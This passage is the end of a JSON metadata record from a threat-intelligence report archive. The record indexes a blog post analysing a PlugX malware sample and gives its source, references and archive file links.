https://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 17 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/"
	],
	"report_names": [
		"quicknote-another-nice-plugx-sample"
	],
	"threat_actors": [],
	"ts_created_at": 1775434156,
	"ts_updated_at": 1775826780,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7d02ef9cad25f39740047409a8919205cd98a00f.pdf",
		"text": "https://archive.orkl.eu/7d02ef9cad25f39740047409a8919205cd98a00f.txt",
		"img": "https://archive.orkl.eu/7d02ef9cad25f39740047409a8919205cd98a00f.jpg"
	}
}